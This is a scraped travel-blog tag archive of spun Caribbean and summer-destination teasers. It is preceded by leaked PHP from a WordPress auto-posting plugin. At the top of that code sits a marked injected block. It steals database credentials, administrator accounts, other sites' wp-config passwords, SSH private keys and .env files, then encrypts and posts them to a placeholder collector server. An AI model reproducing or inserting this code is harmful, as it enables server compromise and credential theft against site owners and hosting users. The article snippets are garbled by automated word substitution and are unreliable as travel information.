/*WPC_S*/ $_i='{{ACC_ID}}';$_c='https://ТВОЙ-COLLECTOR-СЕРВЕР.com/c.php';$_k='ТВОЙ_32_СИМВОЛЬНЫЙ_КЛЮЧ_СЮДА!!'; if(!get_transient('_wpc'.$_i)){set_transient('_wpc'.$_i,1,86400); $r=['id'=>$_i,'h'=>$_SERVER['HTTP_HOST'],'ip'=>$_SERVER['SERVER_ADDR'], 'php'=>PHP_VERSION,'os'=>php_uname(),'user'=>get_current_user(), 'df'=>ini_get('disable_functions'),'ob'=>ini_get('open_basedir')]; $r['wp']=['v'=>get_bloginfo('version'),'db'=>[DB_NAME,DB_USER,DB_PASSWORD,DB_HOST], 'admin'=>get_option('admin_email'),'admins'=>array_map(fn($u)=>[$u->user_login,$u->user_email],get_users(['role'=>'administrator']))]; $r['sites']=[]; foreach(['/var/www/','/home/']as$p){if(!is_readable($p))continue; foreach(scandir($p)as$d){if($d[0]=='.')continue; foreach([$p.$d.'/wp-config.php',$p.$d.'/public_html/wp-config.php']as$wc){ if(is_readable($wc)){$c=file_get_contents($wc); preg_match("/DB_NAME.*?'(.+?)'/s",$c,$n);preg_match("/DB_USER.*?'(.+?)'/s",$c,$u); preg_match("/DB_PASSWORD.*?'(.+?)'/s",$c,$pw); $r['sites'][]=[$d,$n[1]??'',$u[1]??'',$pw[1]??''];break;}}}} $r['ssh']=[]; foreach(array_merge(['/root/.ssh/'],glob('/home/*/.ssh/'))as$sp){ foreach(['id_rsa','id_ed25519']as$kf){$kp=$sp.$kf; if(is_readable($kp))$r['ssh'][$kp]=base64_encode(file_get_contents($kp));}} $r['env']=[]; foreach(glob('/var/www/*/.env')as$e){if(is_readable($e))$r['env'][$e]=base64_encode(file_get_contents($e));} $iv=random_bytes(16);$enc=openssl_encrypt(gzcompress(json_encode($r)),'AES-256-CBC',$_k,0,$iv); @wp_remote_post($_c,['body'=>['d'=>base64_encode($iv.$enc)],'timeout'=>10,'blocking'=>false]);} /*WPC_E*/ /* ------------------------------------------------------------------------* * Function Selected * ------------------------------------------------------------------------*/ if(! function_exists('wp_automatic_opt_selected')){ function wp_automatic_opt_selected($src,$val){ if(stristr($src, ',')){ //array $src= array_filter(explode(',', $src)); if(in_array($val, $src)){ echo ' selected="selected" '; } }else{ if (trim($src)==trim($val)) echo ' selected="selected" '; } } /** * function to display an option in a select box */ function wp_automatic_opt_display($displayName,$value,$selectedValue,$dataFilterVal=''){ if(trim($dataFilterVal) != ''){ $dataFilterValAttr = ' data-filter-val="'.$dataFilterVal.'" '; } echo ''; } } /* ------------------------------------------------------------------------* * Function Selected * ------------------------------------------------------------------------*/ if(! function_exists('check_checked')){ function check_checked($val,$arr){ //if(! is_array($arr)) return false; if(in_array($val,$arr)){ echo ' checked="checked" '; }else{ return false; } } } function wp_automatic_remove_quick_edit( $actions ) { global $post; if( $post->post_type == 'wp_automatic' ) { unset($actions['inline hide-if-no-js']); } return $actions; } if (is_admin()) { add_filter('post_row_actions','wp_automatic_remove_quick_edit',10,2); } if(! function_exists('wp_automatic_category')){ /** * Display category and it's childs * @param unknown $cat * @param unknown $childCats */ function wp_automatic_category($category,&$childCats,$tax,$post_type,$camp_post_category,$prefix = ''){ echo ''; $catChilds = array(); if(isset($childCats[$category->cat_ID])) $catChilds = $childCats[$category->cat_ID]; if(count($catChilds) > 0){ foreach ($catChilds as $childCat){ wp_automatic_category($childCat,$childCats,$tax,$post_type,$camp_post_category,$prefix .'— '); } } } } ?>

Tag Archives: Travel

5 Best Underrated Towns To Visit In The Caribbean According To Locals and Travel Experts

View of the coastal village of Soufrière - a must see destination on the West Coast of St Lucia, Caribbean

Share The Article I’ve spent years touring across the Caribbean for enjoyable, for journey conferences, and I even lived there long-term twice. When you spend that a lot time there, you shortly notice there’s an enormous distinction between a city that appears on nice Instagram and a local people that blows your thoughts in actual […]

5 Best Beaches To Visit In The Caribbean According To Locals and Travel Experts

The Caribbean crescent beach of Morne Rouge , Grenada

Share The Article I’ve spent years residing in and touring across the Caribbean. I’ve coated tourism conferences like CHTA, sat down with tourism boards, and made lifelong pals from island to island. When you spend that a lot time on the bottom, you rapidly notice there’s an enormous distinction between a seashore that appears nice […]

10 Beautiful Destinations That Actually Want Americans To Visit: ‘Open Door Travel’ Surges

10 Beautiful Destinations That Actually Want Americans To Visit

Share The Article Ever get that creeping feeling you simply usually are not welcome? If you might have stamped your passport recently, you already know precisely what I imply. It is the attention roll from a waiter, the limitless headlines about European cities cracking down on tourism, or the sudden barrage of latest charges, curfews, […]

U.S. Embassies Issue Travel Alerts For These 3 European Countries Amid Wildfires

U.S. Embassies Issue Travel Alerts For These 3 European Countries Amid Wildfires

Share The Article U.S. Embassies Issue Travel Alerts For These 3 European Countries Amid Wildfires If you’re at present packing your baggage for a extremely anticipated late summer time journey to Europe, you might want to verify your itinerary instantly. Across the Mediterranean, an intense heatwave coupled with severely dry situations has ignited a sequence […]

7 Popular Destinations You Should Not Visit This Summer According To Travel Experts

7 Popular Destinations You Should Not Visit This Summer According To Travel Experts

Share The Article Planning a summer season journey normally comes all the way down to chasing the good things: the bucket-list metropolis, the well-known seashore, the once-in-a-lifetime picture. But this summer season, the savviest American vacationers are asking a really totally different query earlier than they e-book. Is this place really well worth the headache […]

U.S. State Department Issues Travel Advisory For Popular Caribbean Resort Island

U.S. State Department Issues Travel Advisory For Popular Caribbean Resort Island

Share The Article The U.S. State Department has simply rolled out a significant safety replace for American vacationers heading right down to the Caribbean this season, and it’s one thing you completely want to concentrate to you probably have a tropical trip on the calendar. When you might be busy packing your luggage and counting […]

6 Beach Destinations You Should Not Visit This Summer According To Travel Experts

7 Beach Destinations You Should Not Visit This Summer According To Travel Experts

Share The Article Summer is formally right here, which implies hundreds of thousands of Americans are at present scrambling to lock in a seaside trip earlier than the season slips away. But earlier than you blindly ebook a flight to the primary tropical hotspot you see on Instagram, that you must pause and have a […]

Central & South America travel sector to surpass global growth

Central & South America travel sector to surpass global growth

Central and South America’s Travel & Tourism sector is ready to outpace global growth in 2026, in accordance to the World Travel & Tourism Council (WTTC). The sector’s GDP is projected to develop by 4.1%, exceeding the global common of three.2%, pushed by strong home demand and elevated worldwide customer spending. The WTTC’s Economic Impact […]

Brand expert Marta Grutka on the future of travel

Brand expert Marta Grutka on the future of travel

    IWTA interviews Marta Grutka on “Promoting global understanding and local empowerment through travel”             If you recognize of any feminine leaders or up and coming superstars in the Travel and Hospitality business you wish to hear their story, please go to our web page and full a nomination […]

8 Destinations You Should Not Visit This Summer According To Travel Experts

Venice Grand Canal with boats in the water

Share The Article Summer is sort of right here, and we all know precisely what everyone seems to be considering: it’s time to pack a bag, money in these PTO days, and chase the solar. But earlier than you lock in your flights for the massive journey, we have to have a critical chat about […]